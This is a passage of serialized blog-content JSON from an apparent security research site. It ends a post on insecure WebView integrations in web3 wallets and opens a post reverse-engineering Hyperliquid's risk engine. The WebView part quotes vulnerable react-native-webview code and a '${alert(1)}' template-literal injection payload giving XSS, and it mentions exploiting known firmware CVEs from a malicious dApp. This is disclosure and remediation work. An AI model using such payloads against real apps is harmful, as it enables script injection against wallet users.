IoT).",{"type":25,"tag":112,"props":170926,"children":170927},{},[170928],{"type":30,"value":170929},"Exploit known CVEs in firmware by sending crafted requests to a device whose vulnerability is already public, potentially achieving remote code execution on that device.",{"type":25,"tag":26,"props":170931,"children":170932},{},[170933],{"type":30,"value":170934},"A user who has installed a reputable web3 wallet has no reason to suspect that browsing via a malicious dApp within that wallet could result in their home devices being probed.",{"type":25,"tag":96,"props":170936,"children":170938},{"id":170937},"uxss-by-code-injection",[170939],{"type":30,"value":170940},"UXSS by Code Injection",{"type":25,"tag":26,"props":170942,"children":170943},{},[170944,170946,170952],{"type":30,"value":170945},"Another sink we found in react-native-webview by just skimming through the code was how the ",{"type":25,"tag":264,"props":170947,"children":170949},{"className":170948},[],[170950],{"type":30,"value":170951},"injectJavascriptObject",{"type":30,"value":170953}," attribute worked. Here is the code snippet:",{"type":25,"tag":7764,"props":170955,"children":170957},{"className":169193,"code":170956,"language":169195,"meta":7,"style":7},"    private void injectJavascriptObject() {\n      if (getSettings().getJavaScriptEnabled()) {\n        String js = \"(function(){\\n\" +\n          \"    window.\" + JAVASCRIPT_INTERFACE + \" = window.\" + JAVASCRIPT_INTERFACE + \" || {};\\n\" +\n          \"    window.\" + JAVASCRIPT_INTERFACE + \".injectedObjectJson = function () { return \" + (injectedJavaScriptObject == null ? null : (\"`\" + injectedJavaScriptObject + \"`\")) + \"; };\\n\" +\n          \"})();\";\n        evaluateJavascriptWithFallback(js);\n      }\n",[170958],{"type":25,"tag":264,"props":170959,"children":170960},{"__ignoreMap":7},[170961,170981,171010,171044,171099,171204,171216,171229],{"type":25,"tag":271,"props":170962,"children":170963},{"class":13593,"line":13594},[170964,170968,170972,170977],{"type":25,"tag":271,"props":170965,"children":170966},{"style":14289},[170967],{"type":30,"value":83897},{"type":25,"tag":271,"props":170969,"children":170970},{"style":13609},[170971],{"type":30,"value":64165},{"type":25,"tag":271,"props":170973,"children":170974},{"style":13620},[170975],{"type":30,"value":170976}," injectJavascriptObject",{"type":25,"tag":271,"props":170978,"children":170979},{"style":13625},[170980],{"type":30,"value":28858},{"type":25,"tag":271,"props":170982,"children":170983},{"class":13593,"line":11641},[170984,170988,170992,170997,171001,171006],{"type":25,"tag":271,"props":170985,"children":170986},{"style":16171},[170987],{"type":30,"value":52397},{"type":25,"tag":271,"props":170989,"children":170990},{"style":13625},[170991],{"type":30,"value":16213},{"type":25,"tag":271,"props":170993,"children":170994},{"style":13620},[170995],{"type":30,"value":170996},"getSettings",{"type":25,"tag":271,"props":170998,"children":170999},{"style":13625},[171000],{"type":30,"value":43280},{"type":25,"tag":271,"props":171002,"children":171003},{"style":13620},[171004],{"type":30,"value":171005},"getJavaScriptEnabled",{"type":25,"tag":271,"props":171007,"children":171008},{"style":13625},[171009],{"type":30,"value":105133},{"type":25,"tag":271,"props":171011,"children":171012},{"class":13593,"line":14354},[171013,171018,171023,171027,171032,171036,171040],{"type":25,"tag":271,"props":171014,"children":171015},{"style":13609},[171016],{"type":30,"value":171017},"        String",{"type":25,"tag":271,"props":171019,"children":171020},{"style":13598},[171021],{"type":30,"value":171022}," js",{"type":25,"tag":271,"props":171024,"children":171025},{"style":13603},[171026],{"type":30,"value":16155},{"type":25,"tag":271,"props":171028,"children":171029},{"style":17388},[171030],{"type":30,"value":171031}," \"(function(){",{"type":25,"tag":271,"props":171033,"children":171034},{"style":61489},[171035],{"type":30,"value":61492},{"type":25,"tag":271,"props":171037,"children":171038},{"style":17388},[171039],{"type":30,"value":6294},{"type":25,"tag":271,"props":171041,"children":171042},{"style":13603},[171043],{"type":30,"value":22911},{"type":25,"tag":271,"props":171045,"children":171046},{"class":13593,"line":14391},[171047,171052,171056,171061,171065,171070,171074,171078,171082,171087,171091,171095],{"type":25,"tag":271,"props":171048,"children":171049},{"style":17388},[171050],{"type":30,"value":171051},"          \"    window.\"",{"type":25,"tag":271,"props":171053,"children":171054},{"style":13603},[171055],{"type":30,"value":22025},{"type":25,"tag":271,"props":171057,"children":171058},{"style":13625},[171059],{"type":30,"value":171060}," JAVASCRIPT_INTERFACE ",{"type":25,"tag":271,"props":171062,"children":171063},{"style":13603},[171064],{"type":30,"value":2074},{"type":25,"tag":271,"props":171066,"children":171067},{"style":17388},[171068],{"type":30,"value":171069}," \" = window.\"",{"type":25,"tag":271,"props":171071,"children":171072},{"style":13603},[171073],{"type":30,"value":22025},{"type":25,"tag":271,"props":171075,"children":171076},{"style":13625},[171077],{"type":30,"value":171060},{"type":25,"tag":271,"props":171079,"children":171080},{"style":13603},[171081],{"type":30,"value":2074},{"type":25,"tag":271,"props":171083,"children":171084},{"style":17388},[171085],{"type":30,"value":171086}," \" || {};",{"type":25,"tag":271,"props":171088,"children":171089},{"style":61489},[171090],{"type":30,"value":61492},{"type":25,"tag":271,"props":171092,"children":171093},{"style":17388},[171094],{"type":30,"value":6294},{"type":25,"tag":271,"props":171096,"children":171097},{"style":13603},[171098],{"type":30,"value":22911},{"type":25,"tag":271,"props":171100,"children":171101},{"class":13593,"line":14400},[171102,171106,171110,171114,171118,171123,171127,171132,171136,171140,171144,171148,171152,171156,171161,171165,171170,171174,171179,171183,171187,171192,171196,171200],{"type":25,"tag":271,"props":171103,"children":171104},{"style":17388},[171105],{"type":30,"value":171051},{"type":25,"tag":271,"props":171107,"children":171108},{"style":13603},[171109],{"type":30,"value":22025},{"type":25,"tag":271,"props":171111,"children":171112},{"style":13625},[171113],{"type":30,"value":171060},{"type":25,"tag":271,"props":171115,"children":171116},{"style":13603},[171117],{"type":30,"value":2074},{"type":25,"tag":271,"props":171119,"children":171120},{"style":17388},[171121],{"type":30,"value":171122}," \".injectedObjectJson = function () { return \"",{"type":25,"tag":271,"props":171124,"children":171125},{"style":13603},[171126],{"type":30,"value":22025},{"type":25,"tag":271,"props":171128,"children":171129},{"style":13625},[171130],{"type":30,"value":171131}," (injectedJavaScriptObject ",{"type":25,"tag":271,"props":171133,"children":171134},{"style":13603},[171135],{"type":30,"value":21696},{"type":25,"tag":271,"props":171137,"children":171138},{"style":14289},[171139],{"type":30,"value":83384},{"type":25,"tag":271,"props":171141,"children":171142},{"style":16171},[171143],{"type":30,"value":111135},{"type":25,"tag":271,"props":171145,"children":171146},{"style":14289},[171147],{"type":30,"value":83384},{"type":25,"tag":271,"props":171149,"children":171150},{"style":16171},[171151],{"type":30,"value":48227},{"type":25,"tag":271,"props":171153,"children":171154},{"style":13625},[171155],{"type":30,"value":16213},{"type":25,"tag":271,"props":171157,"children":171158},{"style":17388},[171159],{"type":30,"value":171160},"\"`\"",{"type":25,"tag":271,"props":171162,"children":171163},{"style":13603},[171164],{"type":30,"value":22025},{"type":25,"tag":271,"props":171166,"children":171167},{"style":13625},[171168],{"type":30,"value":171169}," injectedJavaScriptObject ",{"type":25,"tag":271,"props":171171,"children":171172},{"style":13603},[171173],{"type":30,"value":2074},{"type":25,"tag":271,"props":171175,"children":171176},{"style":17388},[171177],{"type":30,"value":171178}," \"`\"",{"type":25,"tag":271,"props":171180,"children":171181},{"style":13625},[171182],{"type":30,"value":21957},{"type":25,"tag":271,"props":171184,"children":171185},{"style":13603},[171186],{"type":30,"value":2074},{"type":25,"tag":271,"props":171188,"children":171189},{"style":17388},[171190],{"type":30,"value":171191}," \"; };",{"type":25,"tag":271,"props":171193,"children":171194},{"style":61489},[171195],{"type":30,"value":61492},{"type":25,"tag":271,"props":171197,"children":171198},{"style":17388},[171199],{"type":30,"value":6294},{"type":25,"tag":271,"props":171201,"children":171202},{"style":13603},[171203],{"type":30,"value":22911},{"type":25,"tag":271,"props":171205,"children":171206},{"class":13593,"line":16406},[171207,171212],{"type":25,"tag":271,"props":171208,"children":171209},{"style":17388},[171210],{"type":30,"value":171211},"          \"})();\"",{"type":25,"tag":271,"props":171213,"children":171214},{"style":13625},[171215],{"type":30,"value":16165},{"type":25,"tag":271,"props":171217,"children":171218},{"class":13593,"line":16434},[171219,171224],{"type":25,"tag":271,"props":171220,"children":171221},{"style":13620},[171222],{"type":30,"value":171223},"        evaluateJavascriptWithFallback",{"type":25,"tag":271,"props":171225,"children":171226},{"style":13625},[171227],{"type":30,"value":171228},"(js);\n",{"type":25,"tag":271,"props":171230,"children":171231},{"class":13593,"line":16447},[171232],{"type":25,"tag":271,"props":171233,"children":171234},{"style":13625},[171235],{"type":30,"value":25789},{"type":25,"tag":26,"props":171237,"children":171238},{},[171239,171241,171247,171249,171254,171256,171262],{"type":30,"value":171240},"It basically injects a javascript code with the ",{"type":25,"tag":264,"props":171242,"children":171244},{"className":171243},[],[171245],{"type":30,"value":171246},"injectedJavascriptObject",{"type":30,"value":171248}," wrapped by backticks (`). If you are familiar with javascript, you can immediately see that this enables code injection if we partially control ",{"type":25,"tag":264,"props":171250,"children":171252},{"className":171251},[],[171253],{"type":30,"value":171246},{"type":30,"value":171255},". If we control a single attribute we can inject a payload like ",{"type":25,"tag":264,"props":171257,"children":171259},{"className":171258},[],[171260],{"type":30,"value":171261},"${alert(1)}",{"type":30,"value":171263}," and achieve XSS in the context of the loaded page.",{"type":25,"tag":26,"props":171265,"children":171266},{},[171267,171269,171276],{"type":30,"value":171268},"Then, when scrolling through the open PRs, we saw that there is one that fixes exactly this problem, though we were not the first ones to find it (that's ok, it is a pretty easy bug to find). Here is the ",{"type":25,"tag":83,"props":171270,"children":171273},{"href":171271,"rel":171272},"https://github.com/react-native-webview/react-native-webview/pull/3929/changes",[9066],[171274],{"type":30,"value":171275},"PR with the report and fix",{"type":30,"value":1860},{"type":25,"tag":26,"props":171278,"children":171279},{},[171280],{"type":30,"value":171281},"The vulnerability is still in the code since the PR has not been merged yet and, since the PR is public, everyone can see the bug. This is indeed the library's fault, but tells us that another thing to keep an eye on is unmerged PRs that fix vulnerabilities. Ideally, an open source library should have a security policy with a contact method so security researchers can report vulnerabilities without making them public. This is because once it is public, more people acknowledge the bug and it is more likely to be exploited in the wild.",{"type":25,"tag":26,"props":171283,"children":171284},{},[171285,171287,171293],{"type":30,"value":171286},"If you want to see if your application is vulnerable, you can simply check if you are injecting ",{"type":25,"tag":264,"props":171288,"children":171290},{"className":171289},[],[171291],{"type":30,"value":171292},"injectedJavaScriptObject",{"type":30,"value":171294}," with some user-provided input, if so, it is recommended to manually merge the PR and rebuild your application with the patched library.",{"type":25,"tag":247,"props":171296,"children":171297},{"id":42044},[171298],{"type":30,"value":32068},{"type":25,"tag":26,"props":171300,"children":171301},{},[171302],{"type":30,"value":171303},"Most WebView articles focus on classic URL spoofing. In wallet apps, the more interesting problems usually come from capability inheritance: a WebView quietly benefits from permissions granted to the host app and small integration assumptions turn into serious impact.",{"type":25,"tag":15963,"props":171305,"children":171306},{},[171307],{"type":30,"value":15967},{"title":7,"searchDepth":11641,"depth":11641,"links":171309},[171310,171314,171317,171318],{"id":169033,"depth":11641,"text":169036,"children":171311},[171312,171313],{"id":169044,"depth":14354,"text":169047},{"id":169119,"depth":14354,"text":169122},{"id":169152,"depth":11641,"text":169155,"children":171315},[171316],{"id":169342,"depth":14354,"text":169345},{"id":170862,"depth":11641,"text":170865},{"id":170937,"depth":11641,"text":170940,"children":171319},[171320],{"id":42044,"depth":14354,"text":32068},"content:blog:2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations",{"_path":171325,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":171326,"description":171327,"date":171328,"author":171329,"image":171330,"isFeatured":18,"onBlogPage":18,"tags":171334,"hideToc":18,"body":171338,"_type":16004,"_id":177977,"_source":16006,"_file":177978,"_stem":177979,"_extension":16009},"/blog/2026-06-22-hyperliquid-risk-engine","Auto reverse-engineering the Hyperliquid risk engine, with some agentic help","Perps allow traders to leverage beyond their collateral, until the market turns abruptly and losses are clawed back. We auto-reverse engineer Hyperliquid's risk engine to show how it ranks and deleverages winning users under the solvency–fairness–revenue trilemma.","2026-06-22T12:00:00.000Z","renato",{"src":171331,"width":171332,"height":171333},"/posts/hyperliquid-risk-engine/title.png",1456,816,[171335,171336,171337],"hyperliquid","reverse-engineering","defi",{"type":22,"children":171339,"toc":177949},[171340,171346,171354,171359,171364,171369,171381,171386,171399,171418,171424,171436,171449,171454,171485,171490,171503,171508,171699,171705,171710,171722,171728,171733,171739,171752,171786,171791,171796,171808,171814,171834,171842,171855,171861,171872,171878,171890,171895,171901,171921,171929,171935,171969,171973,172009,172014,172019,172024,172037,172074,172079,172093,172099,172104,172130,172138,172143,172171,172176,172181,172519,172524,172529,172549,172576,172581,172594,172606,172611,172616,172622,172627,172632,172646,172651,172657,172685,172722,172733,172737,172742,172747,172753,172919,172954,172959,172965,172971,173160,173173,173178,173184,173205,173210,173216,173221,173226,173238,173243,173248,173254,173259,173264,173270,173276,173289,173322,173327,175903,176171,176176,177506,177511,177516,177528,177619,177631,177636,177642,177647,177655,177660,177668,177674,177708,177719,177727,177733,177739,177744,177752,177757,177762,177770,177782,177788,177793,177799,177810,177815,177821,177826,177831,177837,177842,177845,177850,177855,177861,177866,177878,177883,177888],{"type":25,"tag":96,"props":171341,"children":171343},{"id":171342},"perpetuals",[171344],{"type":30,"value":171345},"Perpetuals",{"type":25,"tag":16074,"props":171347,"children":171348},{},[171349],{"type":25,"tag":26,"props":171350,"children":171351},{},[171352],{"type":30,"value":171353},"A perpetual is a bet on a price, usually leveraged, settled in stablecoins, with no expiry: a row in the exchange's ledger, backed by margin (a fraction of the position's notional), where one side's gains are the other side's losses on the same book.",{"type":25,"tag":26,"props":171355,"children":171356},{},[171357],{"type":30,"value":171358},"What does that even have to do with reverse engineering?",{"type":25,"tag":96,"props":171360,"children":171361},{"id":171335},[171362],{"type":30,"value":171363},"Hyperliquid",{"type":25,"tag":26,"props":171365,"children":171366},{},[171367],{"type":30,"value":171368},"Hyperliquid is a decentralized perpetuals exchange. It runs on its own\nL1, released publicly for anybody to run, but closed source.\nThe order book and the risk engine live on-chain, and thus inside of the L1 node binary, sitting between users and the shared\nbalance sheet they're all betting against.",{"type":25,"tag":26,"props":171370,"children":171371},{},[171372,171374,171379],{"type":30,"value":171373},"The node is tasked with a ",{"type":25,"tag":10281,"props":171375,"children":171376},{},[171377],{"type":30,"value":171378},"very hard problem",{"type":30,"value":171380},": keeping the books balanced\nwhen leverage makes it possible for one side of every trade to lose more than their margin covers.",{"type":25,"tag":26,"props":171382,"children":171383},{},[171384],{"type":30,"value":171385},"Implementing a correct algorithm that solves this question is exactly what keeps the exchange solvent: this is also why peering into the actual implementation is very intriguing from a security standpoint.",{"type":25,"tag":26,"props":171387,"children":171388},{},[171389,171391,171397],{"type":30,"value":171390},"Beyond that, the ",{"type":25,"tag":264,"props":171392,"children":171394},{"className":171393},[],[171395],{"type":30,"value":171396},"hl-node",{"type":30,"value":171398}," binary also offers an additional technical thrill: it is written in Rust, which is notoriously hard to reverse engineer.",{"type":25,"tag":26,"props":171400,"children":171401},{},[171402,171404,171409,171411,171416],{"type":30,"value":171403},"Armed with some curiosity, a good amount of ",{"type":25,"tag":10281,"props":171405,"children":171406},{},[171407],{"type":30,"value":171408},"inference",{"type":30,"value":171410},", and the right tooling, we'll take a deep dive using an ",{"type":25,"tag":10281,"props":171412,"children":171413},{},[171414],{"type":30,"value":171415},"interactive interface",{"type":30,"value":171417},", which will hopefully make the reconstructed code easier to understand for anybody, while also giving reverse engineers something to learn and a fun tool to play around with.",{"type":25,"tag":96,"props":171419,"children":171421},{"id":171420},"the-million-dollar-question",[171422],{"type":30,"value":171423},"The Million Dollar Question",{"type":25,"tag":26,"props":171425,"children":171426},{},[171427,171429,171434],{"type":30,"value":171428},"Let's say a terrible trader opens a ",{"type":25,"tag":10281,"props":171430,"children":171431},{},[171432],{"type":30,"value":171433},"50x",{"type":30,"value":171435}," leveraged position on Hyperliquid. How does the exchange avoid losing money from their eventual downfall?",{"type":25,"tag":26,"props":171437,"children":171438},{},[171439,171441,171447],{"type":30,"value":171440},"When the market turns against them, the first check they would encounter is the traditional liquidation: their position is automatically put up on the market on the opposite side of the book. This happens whenever the equity of the position drops below the maintenance margin, which is spelled out exactly in the ",{"type":25,"tag":264,"props":171442,"children":171444},{"className":171443},[],[171445],{"type":30,"value":171446},"compute_margin_requirement_by_mode",{"type":30,"value":171448}," function.",{"type":25,"tag":26,"props":171450,"children":171451},{},[171452],{"type":30,"value":171453},"Let's consider the simplest case, that being isolated positions, which are processed in this branch:",{"type":25,"tag":171455,"props":171456,"children":171457},"tip",{},[171458],{"type":25,"tag":26,"props":171459,"children":171460},{},[171461,171463,171468,171470,171477,171479,171484],{"type":30,"value":171462},"To get a clearer view of the logic of reconstructed snippets, click on them to ",{"type":25,"tag":10281,"props":171464,"children":171465},{},[171466],{"type":30,"value":171467},"click through",{"type":30,"value":171469}," each action performed by ",{"type":25,"tag":83,"props":171471,"children":171474},{"href":171472,"rel":171473},"https://github.com/renato-osec/patina-research",[9066],[171475],{"type":30,"value":171476},"our Rust reverse engineering agent",{"type":30,"value":171478},". Return to the regular view by clicking ",{"type":25,"tag":264,"props":171480,"children":171482},{"className":171481},[],[171483],{"type":30,"value":301},{"type":30,"value":1860},{"type":25,"tag":171486,"props":171487,"children":171489},"bndb-viewer-embed",{"addr":171488,"line-start":968,"line-end":146994},"0x555556bb4d20",[],{"type":25,"tag":26,"props":171491,"children":171492},{},[171493,171495,171501],{"type":30,"value":171494},"The view here displays the reconstructed source code, through various stages starting from raw pseudo-C, with several verified agentic \"actions\" applied to it by our Rust decompiler. For example, you can see how some tentative Rust types, like ",{"type":25,"tag":264,"props":171496,"children":171498},{"className":171497},[],[171499],{"type":30,"value":171500},"OptionUnitQty",{"type":30,"value":171502},", are recovered: based on our harness, we can be sure that those are compatible with the original source types.",{"type":25,"tag":26,"props":171504,"children":171505},{},[171506],{"type":30,"value":171507},"As you can see, the position's equity is its isolated margin plus its own PnL, and the threshold reduces to:",{"type":25,"tag":7764,"props":171509,"children":171510},{},[171511],{"type":25,"tag":264,"props":171512,"children":171515},{"className":171513},[267,171514],"math-display",[171516],{"type":25,"tag":271,"props":171517,"children":171520},{"className":171518},[171519],"katex-display",[171521],{"type":25,"tag":271,"props":171522,"children":171524},{"className":171523},[274],[171525],{"type":25,"tag":271,"props":171526,"children":171528},{"className":171527,"ariaHidden":280},[279],[171529,171560],{"type":25,"tag":271,"props":171530,"children":171532},{"className":171531},[285],[171533,171537,171547,171551,171556],{"type":25,"tag":271,"props":171534,"children":171536},{"className":171535,"style":6417},[290],[],{"type":25,"tag":271,"props":171538,"children":171540},{"className":171539},[296,30],[171541],{"type":25,"tag":271,"props":171542,"children":171544},{"className":171543},[296],[171545],{"type":30,"value":171546},"liq_equity",{"type":25,"tag":271,"props":171548,"children":171550},{"className":171549,"style":338},[337],[],{"type":25,"tag":271,"props":171552,"children":171554},{"className":171553},[356],[171555],{"type":30,"value":1065},{"type":25,"tag":271,"props":171557,"children":171559},{"className":171558,"style":338},[337],[],{"type":25,"tag":271,"props":171561,"children":171563},{"className":171562},[285],[171564,171569],{"type":25,"tag":271,"props":171565,"children":171568},{"className":171566,"style":171567},[290],"height:2.3074em;vertical-align:-0.8804em;",[],{"type":25,"tag":271,"props":171570,"children":171572},{"className":171571},[296],[171573,171577,171695],{"type":25,"tag":271,"props":171574,"children":171576},{"className":171575},[391,5850],[],{"type":25,"tag":271,"props":171578,"children":171580},{"className":171579},[5855],[171581],{"type":25,"tag":271,"props":171582,"children":171584},{"className":171583},[987,1100],[171585,171683],{"type":25,"tag":271,"props":171586,"children":171588},{"className":171587},[992],[171589,171678],{"type":25,"tag":271,"props":171590,"children":171593},{"className":171591,"style":171592},[997],"height:1.427em;",[171594,171634,171645],{"type":25,"tag":271,"props":171595,"children":171597},{"style":171596},"top:-2.314em;",[171598,171602],{"type":25,"tag":271,"props":171599,"children":171601},{"className":171600,"style":4495},[1007],[],{"type":25,"tag":271,"props":171603,"children":171605},{"className":171604},[296],[171606,171611,171615,171620,171624],{"type":25,"tag":271,"props":171607,"children":171609},{"className":171608},[296],[171610],{"type":30,"value":1326},{"type":25,"tag":271,"props":171612,"children":171614},{"className":171613,"style":2066},[337],[],{"type":25,"tag":271,"props":171616,"children":171618},{"className":171617},[2071],[171619],{"type":30,"value":3585},{"type":25,"tag":271,"props":171621,"children":171623},{"className":171622,"style":2066},[337],[],{"type":25,"tag":271,"props":171625,"children":171627},{"className":171626},[296,30],[171628],{"type":25,"tag":271,"props":171629,"children":171631},{"className":171630},[296],[171632],{"type":30,"value":171633},"leverage",{"type":25,"tag":271,"props":171635,"children":171636},{"style":5905},[171637,171641],{"type":25,"tag":271,"props":171638,"children":171640},{"className":171639,"style":4495},[1007],[],{"type":25,"tag":271,"props":171642,"children":171644},{"className":171643,"style":5915},[5914],[],{"type":25,"tag":271,"props":171646,"children":171648},{"style":171647},"top:-3.677em;",[171649,171653],{"type":25,"tag":271,"props":171650,"children":171652},{"className":171651,"style":4495},[1007],[],{"type":25,"tag":271,"props":171654,"children":171656},{"className":171655},[296],[171657,171663,171673],{"type":25,"tag":271,"props":171658,"children":171660},{"className":171659},[296],[171661],{"type":30,"value":171662},"∣",{"type":25,"tag":271,"props":171664,"children":171666},{"className":171665},[296,30],[171667],{"type":25,"tag":271,"props":171668,"children":171670},{"className":171669},[296],[171671],{"type":30,"value":171672},"notional",{"type":25,"tag":271,"props":171674,"children":171676},{"className":171675},[296],[171677],{"type":30,"value":171662},{"type":25,"tag":271,"props":171679,"children":171681},{"className":171680},[1177],[171682],{"type":30,"value":1180},{"type":25,"tag":271,"props":171684,"children":171686},{"className":171685},[992],[171687],{"type":25,"tag":271,"props":171688,"children":171691},{"className":171689,"style":171690},[997],"height:0.8804em;",[171692],{"type":25,"tag":271,"props":171693,"children":171694},{},[],{"type":25,"tag":271,"props":171696,"children":171698},{"className":171697},[437,5850],[],{"type":25,"tag":96,"props":171700,"children":171702},{"id":171701},"what-if-nobody-wants-to-buy-the-position",[171703],{"type":30,"value":171704},"What If Nobody Wants to Buy the Position?",{"type":25,"tag":26,"props":171706,"children":171707},{},[171708],{"type":30,"value":171709},"The market order from the previous section is just a regular order, and it still needs somebody on the other side of the book to fill it.\nIf the book is thin or the move was violent enough that every passive bid got swept, only part of it (or none) gets filled and equity will possibly keep on going down.",{"type":25,"tag":26,"props":171711,"children":171712},{},[171713,171715,171720],{"type":30,"value":171714},"When that happens, the exchange is basically left with a ",{"type":25,"tag":10281,"props":171716,"children":171717},{},[171718],{"type":30,"value":171719},"hot potato",{"type":30,"value":171721}," to get rid of: what should it even do with the debt?",{"type":25,"tag":48484,"props":171723,"children":171725},{"id":171724},"the-risk-engine",[171726],{"type":30,"value":171727},"The Risk Engine",{"type":25,"tag":26,"props":171729,"children":171730},{},[171731],{"type":30,"value":171732},"And now we circle back to the risk engine: in order to keep all of these terrible traders from driving the system into ruin, we need some automatic way to prevent and clear bad debt.",{"type":25,"tag":96,"props":171734,"children":171736},{"id":171735},"clearing-up-bad-debt",[171737],{"type":30,"value":171738},"Clearing Up Bad Debt",{"type":25,"tag":26,"props":171740,"children":171741},{},[171742,171743,171750],{"type":30,"value":10272},{"type":25,"tag":83,"props":171744,"children":171747},{"href":171745,"rel":171746},"https://hyperliquid.gitbook.io/hyperliquid-docs/trading/auto-deleveraging",[9066],[171748],{"type":30,"value":171749},"Hyperliquid docs",{"type":30,"value":171751}," explain that positions below 2/3 maintenance margin are backstop-liquidated into the HLP liquidator vault. When even that can't keep the book solvent, auto-deleveraging closes the position against opposing traders. What does that even mean?",{"type":25,"tag":26,"props":171753,"children":171754},{},[171755,171757,171768,171770,171776,171778,171784],{"type":30,"value":171756},"To get a better idea of what's going on here, we turn to the binary itself and trace the actual logic. A simple testnet sync gives us a lot of context: within the node's ABCI state, we can see a pretty complex structure named ",{"type":25,"tag":83,"props":171758,"children":171761},{"href":171759,"rel":171760},"https://hyperliquid.gitbook.io/hyperliquid-docs/hypercore/clearinghouse",[9066],[171762],{"type":25,"tag":264,"props":171763,"children":171765},{"className":171764},[],[171766],{"type":30,"value":171767},"Clearinghouse",{"type":30,"value":171769},", a struct containing all liquidation-related info, nested within a bigger ",{"type":25,"tag":264,"props":171771,"children":171773},{"className":171772},[],[171774],{"type":30,"value":171775},"Exchange",{"type":30,"value":171777}," data structure. This is an example of what it might hold when serialized as ",{"type":25,"tag":264,"props":171779,"children":171781},{"className":171780},[],[171782],{"type":30,"value":171783},"MessagePack",{"type":30,"value":171785}," at runtime.",{"type":25,"tag":26,"props":171787,"children":171788},{},[171789],{"type":30,"value":171790},"This data will come in handy both for us and the agent.",{"type":25,"tag":171792,"props":171793,"children":171795},"file-download",{"path":171794},"/posts/hyperliquid-risk-engine/clearinghouse.json",[],{"type":25,"tag":26,"props":171797,"children":171798},{},[171799,171801,171806],{"type":30,"value":171800},"Now, when does the risk engine actually check positions? We can answer that question by playing around with xrefs starting from the known field strings in ",{"type":25,"tag":264,"props":171802,"children":171804},{"className":171803},[],[171805],{"type":30,"value":171767},{"type":30,"value":171807},". Some renaming later, we can infer something like this:",{"type":25,"tag":171486,"props":171809,"children":171813},{"source":171810,"target":171811,"direction":171812},"sub_555556262490","clearinghouse_adl_orchestrator","forward",[],{"type":25,"tag":26,"props":171815,"children":171816},{},[171817,171819,171824,171826,171832],{"type":30,"value":171818},"We have one huge function handling all clearinghouse operations, which we call ",{"type":25,"tag":264,"props":171820,"children":171822},{"className":171821},[],[171823],{"type":30,"value":171811},{"type":30,"value":171825},". It is invoked at the end of each block by a top-level method (called indirectly elsewhere, most likely a trait method) that we call ",{"type":25,"tag":264,"props":171827,"children":171829},{"className":171828},[],[171830],{"type":30,"value":171831},"exchange_end_block",{"type":30,"value":171833},". So, at the end of each block we run some checks.",{"type":25,"tag":171455,"props":171835,"children":171836},{},[171837],{"type":25,"tag":26,"props":171838,"children":171839},{},[171840],{"type":30,"value":171841},"Click on any address or line on the left side to get a detailed view of the decompilation or reconstructed source.",{"type":25,"tag":26,"props":171843,"children":171844},{},[171845,171847,171853],{"type":30,"value":171846},"ADL is meant as an emergency measure; unlike liquidations, it is not always operational. Note the branch on the recovered ",{"type":25,"tag":264,"props":171848,"children":171850},{"className":171849},[],[171851],{"type":30,"value":171852},"clearinghouse.perform_auto_deleveraging",{"type":30,"value":171854}," flag.",{"type":25,"tag":171486,"props":171856,"children":171860},{"addr":171857,"line-start":171858,"line-end":171859},"0x555556ac3850","3290","3301",[],{"type":25,"tag":26,"props":171862,"children":171863},{},[171864,171866,171871],{"type":30,"value":171865},"Most importantly, for it to act it must actually be needed. What does that mean according to the ",{"type":25,"tag":264,"props":171867,"children":171869},{"className":171868},[],[171870],{"type":30,"value":171767},{"type":30,"value":5632},{"type":25,"tag":247,"props":171873,"children":171875},{"id":171874},"threshold-condition",[171876],{"type":30,"value":171877},"Threshold Condition",{"type":25,"tag":26,"props":171879,"children":171880},{},[171881,171883,171888],{"type":30,"value":171882},"The natural connection between liquidations and ADL is ",{"type":25,"tag":10281,"props":171884,"children":171885},{},[171886],{"type":30,"value":171887},"shortfall",{"type":30,"value":171889},": by how much a position, or the entire system (!), is underwater.",{"type":25,"tag":26,"props":171891,"children":171892},{},[171893],{"type":30,"value":171894},"If we could liquidate every position in time against willing buyers of the debt, there would be no systemic shortfall; ADL is triggered whenever that's not the case.",{"type":25,"tag":2352,"props":171896,"children":171898},{"id":171897},"who-is-underwater",[171899],{"type":30,"value":171900},"Who Is Underwater?",{"type":25,"tag":26,"props":171902,"children":171903},{},[171904,171906,171911,171913,171919],{"type":30,"value":171905},"In order to determine that shortfall (or sum of bad debt), we process a useful tree of losing positions, built at the end of each block and passed to the ",{"type":25,"tag":264,"props":171907,"children":171909},{"className":171908},[],[171910],{"type":30,"value":171811},{"type":30,"value":171912},", starting from all user positions, which are stored in ",{"type":25,"tag":264,"props":171914,"children":171916},{"className":171915},[],[171917],{"type":30,"value":171918},"clearinghouse.user_states",{"type":30,"value":171920},", as we can also see from the serialization.",{"type":25,"tag":171455,"props":171922,"children":171923},{},[171924],{"type":25,"tag":26,"props":171925,"children":171926},{},[171927],{"type":30,"value":171928},"A graph can also branch, you know? Click around to view all possible paths from one function to another.",{"type":25,"tag":171486,"props":171930,"children":171934},{"source":171931,"target":171831,"direction":171932,"path":171933},"adl_init_user_position_iterators","backward","exchange_end_block,build_adl_candidate_set,adl_init_user_position_iterators",[],{"type":25,"tag":26,"props":171936,"children":171937},{},[171938,171939,171944,171946,171952,171954,171960,171962,171968],{"type":30,"value":10272},{"type":25,"tag":264,"props":171940,"children":171942},{"className":171941},[],[171943],{"type":30,"value":171931},{"type":30,"value":171945}," essentially turns that into an ",{"type":25,"tag":264,"props":171947,"children":171949},{"className":171948},[],[171950],{"type":30,"value":171951},"Iter",{"type":30,"value":171953},", then, inside of ",{"type":25,"tag":264,"props":171955,"children":171957},{"className":171956},[],[171958],{"type":30,"value":171959},"build_adl_candidate_set",{"type":30,"value":171961}," each entry is accounted either as a cross or isolated position, depending on the value of the ",{"type":25,"tag":264,"props":171963,"children":171965},{"className":171964},[],[171966],{"type":30,"value":171967},"AdlIterEntry",{"type":30,"value":71441},{"type":25,"tag":171486,"props":171970,"children":171972},{"type-name":171971},"AdlIterContext",[],{"type":25,"tag":26,"props":171974,"children":171975},{},[171976,171978,171984,171986,171992,171994,172000,172002,172007],{"type":30,"value":171977},"Note that in storage, ",{"type":25,"tag":264,"props":171979,"children":171981},{"className":171980},[],[171982],{"type":30,"value":171983},"Isolated",{"type":30,"value":171985}," positions have their own independent ",{"type":25,"tag":264,"props":171987,"children":171989},{"className":171988},[],[171990],{"type":30,"value":171991},"Entry",{"type":30,"value":171993}," in the position iterators, and 